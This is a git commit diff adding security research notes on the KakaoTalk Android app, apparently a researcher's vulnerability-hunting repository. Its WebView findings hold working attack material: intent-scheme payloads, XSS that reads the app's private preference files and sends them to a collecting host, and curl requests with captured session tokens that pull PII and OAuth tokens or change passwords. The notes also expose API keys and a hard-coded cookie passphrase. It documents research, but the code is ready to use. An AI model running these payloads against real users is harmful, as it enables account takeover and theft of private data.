Update Recon docs

This commit is contained in:
stulle123 2023-06-22 17:21:12 +02:00
parent 73bd95d715
commit a372afb1b0
3 changed files with 355 additions and 4 deletions

View File

@ -172,6 +172,10 @@ PACKAGE=com.termux
adb shell dumpsys package | grep -Eo $(printf "^[[:space:]]+[0-9a-f]+[[:space:]]+%s/[^[:space:]]+" "${PACKAGE}") | grep -oE "[^[:space:]]+$"
# Launch Settings
adb shell am start -a android.settings.SETTINGS
# Show current activity
adb shell dumpsys window windows | grep -E 'mCurrentFocus|mFocusedApp|mInputMethodTarget|mSurface'
# Show file system access
adb shell 'am start kakaotalk://main && ps -A | grep -m 1 "kakao" | tr -s " " | cut -d " " -f2 | xargs strace -f -p 2>&1 | grep -i /data'
```
## Resources
@ -179,4 +183,4 @@ adb shell am start -a android.settings.SETTINGS
Third-party Kakaotalk clients:
- https://github.com/KiwiTalk/KiwiTalk
- https://github.com/jhleekr/kakao.py
- https://github.com/jhleekr/kakao.py

View File

@ -12,6 +12,7 @@
- [Files](#files)
- [Rest APIs](#rest-apis)
- [WebViews](#webviews)
- [Firebase](#firebase)
- [Intents](#intents)
- [Native Libs](#native-libs)
- [Open-Source Libs](#open-source-libs)
@ -41,7 +42,7 @@ Flaws:
- Intercept SMS during registration to get the pincode (e.g., via SS7 access)
- Register an attacker's device via flaws in the LOCO protocol (`CHECKIN` and `LOGINLIST` commands?)
- Check out insecure REST API endpoints for authorization flaws
- Code injection into insecure REST API endpoints
- Code injection into insecure REST API endpoints
- QR Code login (`xm.a` and `vm.q` Java classes)
- `/talk/account/qrCodeLogin/info.json?id=eyJwcm90b2NvbCI6InYxIiwiY2hhbGxlbmdlIjoiNlB6MFMzdkRQMmlFUTZoRXh5YW5mWGtOelNHU0RRIn0=`
- `{"protocol":"v1","challenge":"6Pz0S3vDP2iEQ6hExyanfXkNzSGSDQ"}`
@ -50,6 +51,7 @@ Flaws:
- How to obtain them? How are they generated? How long do they live?
- `ym.a` class builds the POST request
- API endpoints in interface `e31.j`
- Test PW Reset Functionality
### Cloud
@ -62,7 +64,8 @@ Flaws:
- Spoof victim (`CHECKIN` packet)
- Spoof victims device ID (**TODO**: How is it generated?)
- Spoof KakaoTalk server
- Send the attackers public key to the victim (maybe theres a LOCO command for updating RSA public keys on the client?)
- Spoof legitimate KakaoTalk LOCO notifications and messages
- Send the attacker's public key to the victim (maybe theres a LOCO command for updating RSA public keys on the client?)
- MITM traffic
- Tamper messages (CFB malleability —> [Efail](https://jaads.de/Bachelorthesis/Bachelorthesis_Jan_Arends.pdf))
- [Owncloud CFB malleability bug](https://blog.hboeck.de/archives/880-Pwncloud-bad-crypto-in-the-Owncloud-encryption-module.html)
@ -72,7 +75,7 @@ Flaws:
- Sniff plaintext LOCO packets (`CHECKIN` packet)
- Downgrade attacks (maybe there's a way to fallback to unencrypted comms?)
### Message Parsing ("Zero Click")
### LOCO Message Parsing ("Zero Click")
- **TODO**: Build Kakaotalk Python app
- Send a chat message to a victim to retrieve the E2E encryption key -> code injection
@ -81,6 +84,7 @@ Flaws:
- Emojis
- Button rendering
- Intents
- Exploit (JSON) deserialization bugs
### Malicious third-party app
@ -210,6 +214,45 @@ Cookies are encrypted with the hard-coded passphrase `KaKAOtalkForever`.
**TO-DO**: Check for interesting [WebViews](./recon/nuclei_android_results.txt).
## Firebase
Firebase Crashlytics files in `/data/data/com.kakao.talk/files/.com.google.firebase.crashlytics.files.v2:com.kakao.talk/` folder.
Tokens and URLs:
- AppID: `1:552367303137:android:b650fef8b606535f`
- X-Goog-Api-Key: `AIzaSyD_-GTX7erjDNQ1UhkdesbAu98lej9MfWs`
- X-Firebase-Client: `H4sIAAAAAAAAAKtWykhNLCpJSk0sKVayio7VUSpLLSrOzM9TslIyUqoFAFyivEQfAAAA`
- X-Android-Cert: `ECC45B902AC1E83C8BE1758A257E67492DE37456`
- https://api-project-552367303137.firebaseio.com
- https://firebaseinstallations.googleapis.com/v1/projects/api-project-552367303137/installations (main Java class -> `FirebaseInstallationServiceClient`)
Fetch the Firebase Installation config:
```bash
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' -H $'Accept: application/json' -H $'Content-Encoding: gzip' -H $'Cache-Control: no-cache' -H $'X-Android-Package: com.kakao.talk' -H $'x-firebase-client: H4sIAAAAAAAAAKtWykhNLCpJSk0sKVayio7VUSpLLSrOzM9TslIyUqoFAFyivEQfAAAA' -H $'X-Android-Cert: ECC45B902AC1E83C8BE1758A257E67492DE37456' -H $'x-goog-api-key: AIzaSyD_-GTX7erjDNQ1UhkdesbAu98lej9MfWs' -H $'User-Agent: Dalvik/2.1.0 (Linux; U; Android 11; sdk_gphone_arm64 Build/RSR1.210722.002)' -H $'Host: firebaseinstallations.googleapis.com' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Length: 134' \
--data-binary $'\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00\xabVJ\xcbLQ\xb2RJK\xf1\xb1\x08,\xaap\x0c\x0at/(O\x0fJ\xf1\xf3\xb0L\x09\x0fW\xd2QJ,(\xf0\x04)0\xb4255263760646\xb7J\xccK)\xca\xcfL\xb1J235HKM\xb3H230356M\x03\xe9(-\xc9\x08K-*\xce\xcc\xcf\x03\xeas\xf3\x0c\x8e/3\x02\x0a\x17\xa7d#D\x13\xad\x0c\xcd\xf5\x0c\xf5\x0c\x94j\x01[|19\x81\x00\x00\x00' \
$'https://firebaseinstallations.googleapis.com/v1/projects/api-project-552367303137/installations'
```
The returned token (`authToken` / `X-Goog-Firebase-Installations-Auth`) can be used to get another token from `https://android.apis.google.com/c2dm/register3`:
```bash
curl -i -s -k -X $'POST' \
-H $'Authorization: AidLogin 3678923725820734353:3828286260350902544' -H $'app: com.kakao.talk' -H $'gcm_ver: 201817019' -H $'User-Agent: Android-GCM/1.5 (emulator_arm64 RSR1.210722.002)' -H $'Content-Length: 810' -H $'content-type: application/x-www-form-urlencoded' -H $'Host: android.apis.google.com' -H $'Connection: Keep-Alive' -H $'Accept-Encoding: gzip, deflate' \
--data-binary $'X-subtype=552367303137&sender=552367303137&X-app_ver=2410170&X-osv=30&X-cliv=fcm-23.1.0&X-gmsv=201817019&X-appid=fdL8QrxARQGpwgRdNH9dWW&X-scope=*&X-Goog-Firebase-Installations-Auth=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcHBJZCI6IjE6NTUyMzY3MzAzMTM3OmFuZHJvaWQ6YjY1MGZlZjhiNjA2NTM1ZiIsImV4cCI6MTY4Nzk1ODU0OCwiZmlkIjoiZmRMOFFyeEFSUUdwd2dSZE5IOWRXVyIsInByb2plY3ROdW1iZXIiOjU1MjM2NzMwMzEzN30.AB2LPV8wRQIgV1u9VS6q7U_mBrGgJ0qAfP6qhujF2ID-KwCKKttnrowCIQDnJsxvUfFbDyIbiVdWB1q4yVgRPCCM5Cu41LRI9cbF2A&X-gmp_app_id=1%3A552367303137%3Aandroid%3Ab650fef8b606535f&X-firebase-app-name-hash=R1dAH9Ui7M-ynoznwBdw01tLxhI&X-app_ver_name=10.1.7&app=com.kakao.talk&device=3678923725820734353&app_ver=2410170&info=wzQNGm6LkccWQKri541rkWUlRk-YeRg&gcm_ver=201817019&plat=0&cert=ecc45b902ac1e83c8be1758a257e67492de37456&target_ver=31' \
$'https://android.apis.google.com/c2dm/register3'
```
The Firebase Installation config is also stored locally in `/data/data/com.kakao.talk/files/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json` file and exposed by `content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json`.
KakaoTalk doesn't seem to use Firebase Remote Config (or they are using a different endpoint, e.g. `https://firebaseremoteconfig.googleapis.com/v1/projects/552367303137/remoteConfig`):
```bash
$ curl "https://firebaseremoteconfig.googleapis.com/v1/projects/552367303137/namespaces/firebase:fetch?key=AIzaSyD_-GTX7erjDNQ1UhkdesbAu98lej9MfWs" -H 'content-type:application/json' -d '{"appId": "1:552367303137:android:b650fef8b606535f","appInstanceId": "required_but_unused_value"}'
```
## Intents
**TO-DO**: Check for interesting [Intents](./recon/nuclei_android_results.txt).

304
recon/webview/WEBVIEW.md Normal file
View File

@ -0,0 +1,304 @@
# WebView Recon
- [Goals](#goals)
- [Attack Vectors](#attack-vectors)
- [Findings](#findings)
- [To-Dos / Digging](#to-dos--digging)
- [Tokens / Cookies](#tokens--cookies)
- [Javascript Interfaces](#javascriptinterface)
- [CSRF](#csrf)
- [File Access / Content Providers](#file-access--content-providers)
- [DownloadListener](#downloadlistenerondownloadstart)
- [Deeplinks](#deeplinks)
- [Kakao Pay](#kakao-pay)
- [Misc](#misc)
- [Resources](#resources)
- [Appendix](#appendix)
- [Payloads](#payloads)
- [KGPopupActivity](#kgpopupactivity)
## Goals
- Account takeover via phishing link
- File exfiltration from KakaoTalk's application sandbox via phishing link
## Attack Vectors
- File load from insecure file locations
- Load data into WebViews via `intent:` scheme
- HTTP(S) MITM
- Create a malicious `Plus Friend` or `Kakao Business` page or an `Open Chat Room`
- Deep link parsing
- Deep link —> open insecure WebView —> MITM —> run arbitrary JS code
- Use the `intent:` scheme to start arbitrary components
- Open attacker controlled website -> JS
- Try different URL schemes (e.g., `javascript:`, `intent:`, `file://`, `content://`, `data://`, etc.)
- Phishing (e.g., steal credentials by showing a legitimate KakaoTalk page)
- https://accounts.kakao.com/
## Findings
- Account takeover
- Send malicious link
- Steal token
- `update_settings.json` -> change e-mail
- Reset password
- Install KakaoTalk for Windows
- Login in with credentials
- Brute-force 4-digit pin
- Token leakage in HTTP request headers:
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"`
```bash
# Get phone number, e-mail address and other PII
curl -i -s -k -X $'GET' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'Authorization: d587a91fdf4c4e008145ffcd2282485000000016872655885310012q2jUmqPL3w-295c990ec4b3470b9df03827b4a9e38b5caf17cfc010bb18abab9aee622ec5f8' -H $'C: 5eb095d6-11de-4eb6-9076-4f3f3941ec58' -H $'Connection: close' \
$'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1678238174&lang=en&vc=2410170&email=2&adid=&adid_status=-1'
# Get friends
curl -i -s -k -X $'POST' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'Adid: a42e75cd-19e5-43a5-a23b-d2390c100942' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 134' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
--data-binary $'removed_contacts=%5B%5D&add_friends_to_limit=false&phone_number_type=1&reset_contacts=true&type=a&manual=false&contacts=%5B%5D&token=0' \
$'https://katalk.kakao.com/android/friends/update.json'
# Update settings
curl -i -s -k -X $'POST' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'C: 7db8c5a8-978c-4009-8ae0-87c1caf91562' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
--data-binary $'usim_same_numbers=%5B%22false%22%5D' \
$'https://katalk.kakao.com/android/account/update_settings.json'
# Get OAuth token
curl -i -s -k -X $'GET' \
-H $'Host: kauth.kakao.com' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'User-Agent: KT/10.1.7 An/11 en;KAKAOTALK' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
$'https://kauth.kakao.com/oauth/authorize?client_id=24b2ff717557a8090279253242652f80&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth&response_type=code'
curl -i -s -k -X $'POST' \
-H $'Host: kauth.kakao.com' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 271' -H $'Accept-Encoding: gzip, deflate' -H $'User-Agent: okhttp/4.9.3' -H $'Connection: close' \
--data-binary $'client_id=24b2ff717557a8090279253242652f80&code=pYn2ksN-KH8bIaCHp3OwiM98G5xgdzkEvIgA4HDBhUT-uVcrTXzHiEgp1vA1HrERSESLXQoqJY8AAAGI3iGODg&grant_type=authorization_code&android_key_hash=S2FrYW9JIE1hc3RlciBLZXkg&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth' \
$'https://kauth.kakao.com/oauth/token'
```
- I can MITM TLS connections. There's just a security warning in KakaoTalk's UI that the user can accept (no need to put a Burp CA cert into Android trusted CA store).
- I can start arbitrary components via the `intent:` scheme in `CommerceBuyActivity` (`kakaotalk://buy`)
- I can exfiltrate files via the `intent:` scheme in `CommerceBuyActivity` and opening `content://` URLs in `MyProfileSettingsActivity`:
```javascript
location.href = "kakaotalk://buy";
// Read Firebase Installation configuration
location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;end"
var data = document.querySelector('pre').innerHTML;
img = new Image();
img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(data);
```
- I can open arbitrary URLs via `KGPopupActivity`, `MyProfileSettingsActivity` and `CommerceShopperWebViewActivity`:
- `adb shell am start "intent:#Intent\;component=com.kakao.talk/.gametab.view.KGPopupActivity\;S.url=https://foo.com\;end"`
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"`
- `location.href = "intent:#Intent;component=com.kakao.talk/com.kakao.talk.commerce.ui.shopper.CommerceShopperWebViewActivity;S.URL=https://foo.com;end"`
- `ConnectBroadcastFriendsPickerActivity` -> `kakaointernalweb://host/q?url=https://www.foo.com&spamType=0&isPlusType=true'`
- `BizInAppBrowserActivity`-> `kakaotalk://bizwebview/open?url=http://www.foo.com`
- I can execute Javascript by:
- Pointing to attacker-controlled URLs
- Using the `data:` scheme, e.g.: `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=data%3Atext%2Fhtml%2C%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E;end"`
- Using the `javascript:` scheme, e.g.: `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=javascript:alert%28%221%22%29;end"`
- I can access `/storage`, `/data/data/com.kakao.talk/files`, `/data/data/com.kakao.talk/cache` directories by opening `content:` URLs in `MyProfileSettingsActivity`, `KaKaoMailDocumentViewWebActivity`, and others, e.g.:
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.kakaomail.KaKaoMailDocumentViewWebActivity;S.url=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;S.subContent=foo;end"`
- Reading a cookie: `adb shell content read --uri "content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627"`
- Using the `android-app:` scheme: `adb shell am start "android-app://#Intent\;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity\;S.EXTRA_URL=content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627\;end"`
- I can access the user's location by exposed Javascript interfaces
- Auto-download to `/sdcard/Download` via Chrome (`app://kakaotalk/openURL?url=`)
- I can access other `BROWSABLE` Activities or Apps via the `android-app:` scheme, e.g.:
- `location.href = "android-app://com.google.android.googlequicksearchbox/https/www.google.com"`
- `location.href = "android-app://com.kakao.talk/kakaotalk/hairshop#Intent;package=com.kakao.talk;end"`
- `setWebContentsDebuggingEnabled` seems to be enabled for most WebViews
- XSS in `com.kakao.talk.activity.cscenter.CsCenterActivity` (search field)
- https://cs.kakao.com/search?query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E (you need to click into the search field)
## To-Dos / Digging
Things to try out / dig deeper.
### Tokens / Cookies
- What's this cookie? -> `/sdcard/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627`
- Encrypted with a hard-coded password (`KaKAOtalkForever`)
- Plaintext: `{"sid":"4322E936A4CC18FC7041C1DD53CAFB58934880D7F88D7A514613BC1035786F"}`
- Java Class: `n50.b` / `CookieFileUtils`
- How is the `_maldive_oauth_webapp_session_key` token generated? Required for a couple of REST APIs, e.g.:
```bash
# Check password
curl -i -s -k -X $'POST' \
-H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 99' \
-b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
--data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&check_type=11' \
$'https://auth.kakao.com/kakao_accounts/check_password.json'
# Change password
curl -i -s -k -X $'POST' \
-H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 120' \
-b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
--data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&new_password=kBB5mmmE&reset_type=3' \
$'https://auth.kakao.com/kakao_accounts/check_restricted_password.json'
```
### @JavascriptInterface
- **TO-DO:** Check interfaces that expose location information
- Search for custom Javascript->Native bridges
- `KvKakaoViewJavascriptInterface` -> `loadURL()`
- `BaseWebViewActivity` -> `saveImage()`
- `NamecardWebActivity` -> `saveImage()`
- `JdSearchWebScriptInterface` `saveImage()`
- `VCBridgeJavascriptInterface` -> `writeData()` and `readData()` methods
- `DigitalDocsWebActivity` -> `webview_mount()`
- `KakaoBizWebJavascriptInterface` -> `executeBizWebExtension()`
### CSRF
- Test/check `kakaotalk://settings`
- Interesting Activities:
- `ChangePhoneNumberActivity`
- `com.kakao.talk.activity.setting.p134pc.PCSettingsActivity`
- `com.kakao.talk.activity.setting.p134pc.PCSettingsAuthenticationNumberActivity`
- `com.kakao.talk.activity.setting.DeleteAccountAgreementActivity`
- `com.kakao.talk.activity.setting.DeleteAccountCheckOthersActivity`
- `com.kakao.talk.activity.setting.DeleteAccountResultActivity`
- `com.kakao.talk.activity.setting.EncryptionKeysInformationActivity`
- `com.kakao.talk.activity.setting.EncryptionKeysInformationDetailActivity`
- `com.kakao.talk.zzng.settings.MyPinSettingsActivity`
### File Access / Content Providers
- Investigate `FileDownloadHelperActivity`
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.file.FileDownloadHelperActivity;action=com.kakao.talk.activity.file.FileDownloadHelperActivity.ACTION_FILE_OPEN;S.file_uri=file:///external_files/test.txt;end"` -> `Failed to find configured root that contains /external_files/test.txt`
- `setAllowFileAccessFromFileURLs`
- Create a JS file in `Download` folder (called `foo.html`)
- `foo.html` reads `file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml`
- Access `foo.html` file via `content:` scheme in some Webview that supports `setAllowFileAccessFromFileURLs`
- `XMLHttpRequest` still won't work -> not a `file://` URL?
- Need to be able to create/download files in/to `Download` folder
- Cannot steal files from unprotected Content Providers that cannot be rendered in a Webview (e.g., `LocalUser_DataStore.pref.preferences_pb` in `files` folder). Text files work fine: `content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json`.
- `CommerceShopperWebViewActivity` doesn't auto-download but also doesn't render binary files
### DownloadListener.onDownloadStart
- Check `p21.e` / `DownloaderTask` class (`com.kakao.talk.widget.webview.WebViewHelper` -> `processDownload()` -> `C42792b.m9697b()` -> `DownloaderTask.m16277b()`)
- **TO-DO**: Try path traversal
- Bypass `DownloaderTask` checks
- Downloads files to `/sdcard/Download/` directory
- Not able to overwrite files
- Play with `data:` URIs (`data:[<mediatype>][;base64],<data>`)
- **TO-DO:** I *might* be able to force WebViews to auto-download files by pointing them to an attacker-controlled website. Required headers:
- `Content-Type: application/octet-stream`
- `content-disposition: attachment; filename=foo.html`
- Investigate `com.kakao.talk.widget.webview.WebViewHelper` class:
- `downloadImagesToSdCard()`
- `processDownload()` -> `C42792b.m9697b()` -> `DownloaderTask.m16277b()`
### Deeplinks
- Check `kakaolink://` deep links
- `InAppBrowserActivity` -> `kakaotalk://inappbrowser`
- `KakaoOrderActivity` (`kakaotalk://order`)
- `kakaotalk://store`
- HTTP request to `store.kakaofriends.com` —> Change `Location` in HTTP Response Header to a different URL
- `KakaoHairshopActivity` (`kakaotalk://hairshop`)
- `KakaoStyleActivity` (`kakaotalk://style`)
- `BillingWebActivity` (`kakaotalk://mywallet/go`)
- `CommerceGiftActivity` (`kakaotalk://gift/home?url=shortcut&input_channel_id=1017`)
- Check `app://` links
- `CheckoutActivity` (`kakaotalk://checkout/open?url=`)
### Kakao Pay
- Set up Kakaopay —> Get Korean phone number / SIM card
- `kakaotalk://kakaopay/billgates?url=`
- `kakaotalk://kakaopay/web?url=`
- `kakaotalk://kakaopay/payweb?url=`
- `kakaopay://payweb?url=`
### Misc
- Clicking on https://auth.kakao.com in the KakaoTalk UI leads to `KakaoAccountSettingsActivity`
- Switch to a different Activity via `continue` parameter -> `https://auth.kakao.com/kakao_accounts/talk/check_password?continue=kakaotalk://main`
- When opening `content:` URIs I end up in the `null` origin -> `XMLHttpRequest` to `http` schemes works here
## Resources
## Appendix
### Payloads
Test payloads:
```javascript
<img src=1 onerror=\"alert(1);alert('XSS')\"/>
```
```javascript
var x=new XMLHttpRequest(); x.open('GET', 'http://localhost:8000/', true); x.send();
```
```javascript
<img src=1 onerror=\"var xhttp_comment = new XMLHttpRequest();xhttp_comment.open('GET', 'http://localhost:8000/', true);xhttp_comment.send();\"/>
```
Exfiltration payload:
```javascript
<img src=1 onerror=\"
var xhttp_comment = new XMLHttpRequest();
xhttp_comment.onreadystatechange = function() {
if (this.readyState == 4) {
img = new Image();
img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(this.responseText);
}
};
xhttp_comment.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true);
xhttp_comment.send();
\"/>
```
One-liner:
```javascript
<img src=1 onerror=\" var x = new XMLHttpRequest(); x.onreadystatechange = function() { if (this.readyState == 4) { img = new Image(); img.src = 'http://localhost:8000?data=' + encodeURIComponent(this.responseText); } }; x.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true); x.send(); \"/>
```
### KGPopupActivity
- `KGPopupActivity` (`kakaotalk://gamecenter`)
- `webViewSettings.setAllowFileAccessFromFileURLs(true);`
- `webViewSettings.setAllowUniversalAccessFromFileURLs(true);`
- Intent scheme allowed
- There are `KG`, `Kakao` and `kakaoweb` JS APIs
- JavaScript-Native Bridge
- `Gametab.api("talk/toolbar/show", '', '');` —> defined in class `KGWebViewCommands`
- Key for Kakaotalk Javascript SDK: `8fa1ffbc074c716c201ce0074d5f798e`
Send intents in JS:
```javascript
// Open Game Center (KGPopupActivity)
location.href = "intent://gamecenter#Intent;scheme=kakaotalk;end";
// Open Music Player
location.href = "intent:#Intent;action=com.kakao.talk.intent.action.OPEN_MUSIC_PLAYER;end"
// Open any URL in KakaoTalk browser
location.href = "intent:#Intent;action=foo;S.browser_fallback_url=https://foo.com;end"
```
Via ADB:
```bash
# Open Gift Store
adb shell am start "intent:#Intent\;component=com.kakao.talk/.commerce.ui.gift.CommerceGiftActivity\;end"
```
`intent:` parsing observations:
- Intent scheme parsing happening in `URIController.d` method
- `parseUri.addCategory("android.intent.category.BROWSABLE");`
- `parseUri.setSelector(null);`
- `parseUri.setComponent(null);`
- `action` is allowed
- `package` opens the Playstore
- `data` part is parsed for `http` and `https` schemes
- malformed `intent://` URL -> `"about:blank"` WebView
- `component=null` -> Google Settings Backup Activity